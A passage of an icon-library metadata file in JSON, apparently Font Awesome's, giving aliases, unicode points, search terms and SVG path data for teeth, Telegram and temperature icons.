        "path": "M152.8 37.2c-32.2 38.1-56.1 82.6-69.9 130.5c0 .2-.1 .3-.1 .5C43.5 184.4 16 223 16 268c0 59.6 48.4 108 108 108s108-48.4 108-108c0-53.5-38.9-97.9-90-106.5c15.7-41.8 40.4-79.6 72.3-110.7c1.8-1.6 4-2.6 6.3-3.1c37.2-11.5 76.7-13.3 114.8-5.2C454.7 67.6 534 180.7 517.1 301.3c-8.4 62.6-38.6 112.7-87.7 151.4c-50.1 39.7-107.5 54.3-170.2 52.2l-24-1c12.4 2.8 25 4.9 37.6 6.3c40.7 4.2 81.4 2.1 120.1-12.5c94-35.5 149.3-102.3 162.9-202.5c4.8-52.6-5.8-105.4-30.8-152C454.6 11.3 290.8-38.4 159 32c-2.4 1.4-4.5 3.1-6.3 5.2zM309.4 433.9c-2.1 11.5-4.2 21.9-14.6 31.3c53.2-1 123.2-29.2 161.8-97.1c39.7-69.9 37.6-139.9-6.3-207.8C413.8 105 360.5 77.9 293.7 73.7c1.5 2.3 3.2 4.4 5.2 6.3l5.2 6.3c25.1 31.3 37.6 67.9 42.8 107.5c2.1 15.7-1 30.3-13.6 41.8c-4.2 3.1-5.2 6.3-4.2 10.4l7.3 17.7L365.7 318c5.2 11.5 4.2 19.8-6.3 28.2c-3.2 2.5-6.7 4.6-10.4 6.3l-18.8 8.4 3.1 13.6c3.1 6.3 1 12.5-3.1 17.7c-2.5 2.4-3.8 5.9-3.1 9.4c2.1 11.5-2.1 19.8-12.5 25.1c-2.1 1-4.2 5.2-5.2 7.3zm-133.6-3.1c16.7 11.5 34.5 20.9 53.2 26.1c24 5.2 41.8-6.3 44.9-30.3c1-8.4 5.2-14.6 12.5-17.7c7.3-4.2 8.4-7.3 2.1-13.6l-9.4-8.4 13.6-4.2c6.3-2.1 7.3-5.2 5.2-11.5c-1.4-3-2.4-6.2-3.1-9.4c-3.1-14.6-2.1-15.7 11.5-18.8c8.4-3.1 15.7-6.3 21.9-12.5c3.1-2.1 3.1-4.2 1-8.4l-16.7-30.3c-1-1.9-2.1-3.8-3.1-5.7c-6.4-11.7-13-23.6-15.7-37.1c-2.1-9.4-1-17.7 8.4-24c5.2-4.2 8.4-9.4 8.4-16.7c-.4-10.1-1.5-20.3-3.1-30.3c-6.3-37.6-23-68.9-51.2-95c-5.2-4.2-9.4-6.3-16.7-4.2L203.9 91.5c2 1.2 4 2.4 6 3.6l0 0c6.3 3.7 12.2 7.3 17 12.1c30.3 26.1 41.8 61.6 45.9 100.2c1 8.4 0 16.7-7.3 21.9c-8.4 5.2-10.4 12.5-7.3 20.9c4.9 13.2 10.4 26 16.7 38.6L291.6 318c-6.3 8.4-13.6 11.5-21.9 14.6c-12.5 3.1-14.6 7.3-10.4 20.9c.6 1.5 1.4 2.8 2.1 4.2c2.1 5.2 1 8.4-4.2 10.4l-12.5 3.1 5.2 4.2 4.2 4.2c4.2 5.2 4.2 8.4-2.1 10.4c-7.3 4.2-11.5 9.4-11.5 17.7c0 12.5-7.3 19.8-18.8 24c-3.8 1-7.6 1.5-11.5 1l-34.5-2.1z"
      }
    },
    "free": ["brands"]
  },
  "teeth": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f62e"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bite", "dental", "dentist", "gums", "mouth", "smile", "tooth"]
    },
    "styles": ["solid"],
    "unicode": "f62e",
    "label": "Teeth",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 128C0 75 43 32 96 32H480c53 0 96 43 96 96V384c0 53-43 96-96 96H96c-53 0-96-43-96-96V128zm176 48v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176c0-26.5-21.5-48-48-48s-48 21.5-48 48zm176-48c-26.5 0-48 21.5-48 48v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176c0-26.5-21.5-48-48-48zM48 208v24c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V208c0-26.5-21.5-48-48-48s-48 21.5-48 48zM96 384c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H72c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48zm80-48c0 26.5 21.5 48 48 48s48-21.5 48-48V312c0-13.3-10.7-24-24-24H200c-13.3 0-24 10.7-24 24v24zm176 48c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H328c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48zm80-176v24c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V208c0-26.5-21.5-48-48-48s-48 21.5-48 48zm48 176c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H456c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 128C0 75 43 32 96 32H480c53 0 96 43 96 96V384c0 53-43 96-96 96H96c-53 0-96-43-96-96V128zm176 48v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176c0-26.5-21.5-48-48-48s-48 21.5-48 48zm176-48c-26.5 0-48 21.5-48 48v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176c0-26.5-21.5-48-48-48zM48 208v24c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V208c0-26.5-21.5-48-48-48s-48 21.5-48 48zM96 384c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H72c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48zm80-48c0 26.5 21.5 48 48 48s48-21.5 48-48V312c0-13.3-10.7-24-24-24H200c-13.3 0-24 10.7-24 24v24zm176 48c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H328c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48zm80-176v24c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V208c0-26.5-21.5-48-48-48s-48 21.5-48 48zm48 176c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H456c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48z"
      }
    },
    "free": ["solid"]
  },
  "teeth-open": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f62f"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["dental", "dentist", "gums bite", "mouth", "smile", "tooth"]
    },
    "styles": ["solid"],
    "unicode": "f62f",
    "label": "Teeth Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 32C43 32 0 75 0 128v64c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-53-43-96-96-96H96zM224 96c26.5 0 48 21.5 48 48v56c0 13.3-10.7 24-24 24H200c-13.3 0-24-10.7-24-24V144c0-26.5 21.5-48 48-48zm80 48c0-26.5 21.5-48 48-48s48 21.5 48 48v56c0 13.3-10.7 24-24 24H328c-13.3 0-24-10.7-24-24V144zM96 128c26.5 0 48 21.5 48 48v24c0 13.3-10.7 24-24 24H72c-13.3 0-24-10.7-24-24V176c0-26.5 21.5-48 48-48zm336 48c0-26.5 21.5-48 48-48s48 21.5 48 48v24c0 13.3-10.7 24-24 24H456c-13.3 0-24-10.7-24-24V176zM96 480H480c53 0 96-43 96-96V352c0-35.3-28.7-64-64-64H64c-35.3 0-64 28.7-64 64v32c0 53 43 96 96 96zm0-64c-26.5 0-48-21.5-48-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48zm80-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48s-48-21.5-48-48zm176 48c-26.5 0-48-21.5-48-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48zm80-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48s-48-21.5-48-48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 32C43 32 0 75 0 128v64c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-53-43-96-96-96H96zM224 96c26.5 0 48 21.5 48 48v56c0 13.3-10.7 24-24 24H200c-13.3 0-24-10.7-24-24V144c0-26.5 21.5-48 48-48zm80 48c0-26.5 21.5-48 48-48s48 21.5 48 48v56c0 13.3-10.7 24-24 24H328c-13.3 0-24-10.7-24-24V144zM96 128c26.5 0 48 21.5 48 48v24c0 13.3-10.7 24-24 24H72c-13.3 0-24-10.7-24-24V176c0-26.5 21.5-48 48-48zm336 48c0-26.5 21.5-48 48-48s48 21.5 48 48v24c0 13.3-10.7 24-24 24H456c-13.3 0-24-10.7-24-24V176zM96 480H480c53 0 96-43 96-96V352c0-35.3-28.7-64-64-64H64c-35.3 0-64 28.7-64 64v32c0 53 43 96 96 96zm0-64c-26.5 0-48-21.5-48-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48zm80-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48s-48-21.5-48-48zm176 48c-26.5 0-48-21.5-48-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48zm80-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48s-48-21.5-48-48z"
      }
    },
    "free": ["solid"]
  },
  "telegram": {
    "aliases": {
      "names": ["telegram-plane"],
      "unicodes": {
        "composite": ["f3fe"],
        "secondary": ["10f3fe"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2c6",
    "label": "Telegram",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248,8C111.033,8,0,119.033,0,256S111.033,504,248,504,496,392.967,496,256,384.967,8,248,8ZM362.952,176.66c-3.732,39.215-19.881,134.378-28.1,178.3-3.476,18.584-10.322,24.816-16.948,25.425-14.4,1.326-25.338-9.517-39.287-18.661-21.827-14.308-34.158-23.215-55.346-37.177-24.485-16.135-8.612-25,5.342-39.5,3.652-3.793,67.107-61.51,68.335-66.746.153-.655.3-3.1-1.154-4.384s-3.59-.849-5.135-.5q-3.283.746-104.608,69.142-14.845,10.194-26.894,9.934c-8.855-.191-25.888-5.006-38.551-9.123-15.531-5.048-27.875-7.717-26.8-16.291q.84-6.7,18.45-13.7,108.446-47.248,144.628-62.3c68.872-28.647,83.183-33.623,92.511-33.789,2.052-.034,6.639.474,9.61,2.885a10.452,10.452,0,0,1,3.53,6.716A43.765,43.765,0,0,1,362.952,176.66Z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248,8C111.033,8,0,119.033,0,256S111.033,504,248,504,496,392.967,496,256,384.967,8,248,8ZM362.952,176.66c-3.732,39.215-19.881,134.378-28.1,178.3-3.476,18.584-10.322,24.816-16.948,25.425-14.4,1.326-25.338-9.517-39.287-18.661-21.827-14.308-34.158-23.215-55.346-37.177-24.485-16.135-8.612-25,5.342-39.5,3.652-3.793,67.107-61.51,68.335-66.746.153-.655.3-3.1-1.154-4.384s-3.59-.849-5.135-.5q-3.283.746-104.608,69.142-14.845,10.194-26.894,9.934c-8.855-.191-25.888-5.006-38.551-9.123-15.531-5.048-27.875-7.717-26.8-16.291q.84-6.7,18.45-13.7,108.446-47.248,144.628-62.3c68.872-28.647,83.183-33.623,92.511-33.789,2.052-.034,6.639.474,9.61,2.885a10.452,10.452,0,0,1,3.53,6.716A43.765,43.765,0,0,1,362.952,176.66Z"
      }
    },
    "free": ["brands"]
  },
  "temperature-arrow-down": {
    "aliases": {
      "names": ["temperature-down"],
      "unicodes": {
        "secondary": ["10e03f"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "air conditioner",
        "cold",
        "heater",
        "mercury",
        "thermometer",
        "winter"
      ]
    },
    "styles": ["solid"],
    "unicode": "e03f",
    "label": "Temperature Arrow Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M128 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C249.8 332.6 256 349.5 256 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM176 0C114.1 0 64 50.1 64 112V276.4c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C43.2 304.2 32 334.8 32 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C288 50.1 237.9 0 176 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V272c0-8.8-7.2-16-16-16s-16 7.2-16 16v50.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48zm336-64H480V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352H384c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c6 6 14.1 9.4 22.6 9.4s16.6-3.4 22.6-9.4l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M128 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C249.8 332.6 256 349.5 256 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM176 0C114.1 0 64 50.1 64 112V276.4c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C43.2 304.2 32 334.8 32 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C288 50.1 237.9 0 176 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V272c0-8.8-7.2-16-16-16s-16 7.2-16 16v50.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48zm336-64H480V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352H384c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c6 6 14.1 9.4 22.6 9.4s16.6-3.4 22.6-9.4l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8z"
      }
    },
    "free": ["solid"]
  },
  "temperature-arrow-up": {
    "aliases": {
      "names": ["temperature-up"],
      "unicodes": {
        "secondary": ["10e040"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "air conditioner",
        "cold",
        "heater",
        "mercury",
        "thermometer",
        "winter"
      ]
    },
    "styles": ["solid"],
    "unicode": "e040",
    "label": "Temperature Arrow Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M128 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C249.8 332.6 256 349.5 256 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM176 0C114.1 0 64 50.1 64 112V276.4c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C43.2 304.2 32 334.8 32 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C288 50.1 237.9 0 176 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V112c0-8.8-7.2-16-16-16s-16 7.2-16 16V322.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48zM480 160h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V160z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M128 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C249.8 332.6 256 349.5 256 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM176 0C114.1 0 64 50.1 64 112V276.4c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C43.2 304.2 32 334.8 32 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C288 50.1 237.9 0 176 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V112c0-8.8-7.2-16-16-16s-16 7.2-16 16V322.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48zM480 160h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V160z"
      }
    },
    "free": ["solid"]
  },
  "temperature-empty": {
    "aliases": {
      "names": ["temperature-0", "thermometer-0", "thermometer-empty"],
      "unicodes": {
        "secondary": ["10f2cb"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cold", "mercury", "status", "temperature"]
    },
    "styles": ["solid"],
    "unicode": "f2cb",
    "label": "Temperature Empty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M112 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C233.8 332.6 240 349.5 240 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM160 0C98.1 0 48 50.2 48 112V276.5c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C27.2 304.2 16 334.8 16 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C272 50.2 221.9 0 160 0zm0 416a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M112 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C233.8 332.6 240 349.5 240 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM160 0C98.1 0 48 50.2 48 112V276.5c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C27.2 304.2 16 334.8 16 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C272 50.2 221.9 0 160 0zm0 416a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "temperature-full": {
    "aliases": {
      "names": ["temperature-4", "thermometer-4", "thermometer-full"],
      "unicodes": {
        "secondary": ["10f2c7"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["fever", "hot", "mercury", "status", "temperature"]
    },
    "styles": ["solid"],
    "unicode": "f2c7",
    "label": "Temperature Full",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V112c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V112c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "temperature-half": {
    "aliases": {
      "names": ["temperature-2", "thermometer-2", "thermometer-half"],
      "unicodes": {
        "composite": ["1f321"],
        "secondary": ["10f2c9"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["mercury", "status", "temperature", "thermometer", "weather"]
    },
    "styles": ["solid"],
    "unicode": "f2c9",
    "label": "Temperature Half",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V208c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V208c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "temperature-high": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f769"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cook", "covid-19", "mercury", "summer", "thermometer", "warm"]
    },
    "styles": ["solid"],
    "unicode": "f769",
    "label": "Temperature High",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 128A96 96 0 1 0 416 0a96 96 0 1 0 0 192zM96 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C217.8 332.6 224 349.5 224 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9C88.9 308.4 96 293.8 96 276.5V112zM144 0C82.1 0 32 50.2 32 112V276.5c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C11.2 304.2 0 334.8 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C256 50.2 205.9 0 144 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V112c0-8.8-7.2-16-16-16s-16 7.2-16 16V322.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 128A96 96 0 1 0 416 0a96 96 0 1 0 0 192zM96 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C217.8 332.6 224 349.5 224 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9C88.9 308.4 96 293.8 96 276.5V112zM144 0C82.1 0 32 50.2 32 112V276.5c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C11.2 304.2 0 334.8 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C256 50.2 205.9 0 144 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V112c0-8.8-7.2-16-16-16s-16 7.2-16 16V322.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48z"
      }
    },
    "free": ["solid"]
  },
  "temperature-low": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f76b"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cold", "cool", "covid-19", "mercury", "thermometer", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f76b",
    "label": "Temperature Low",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
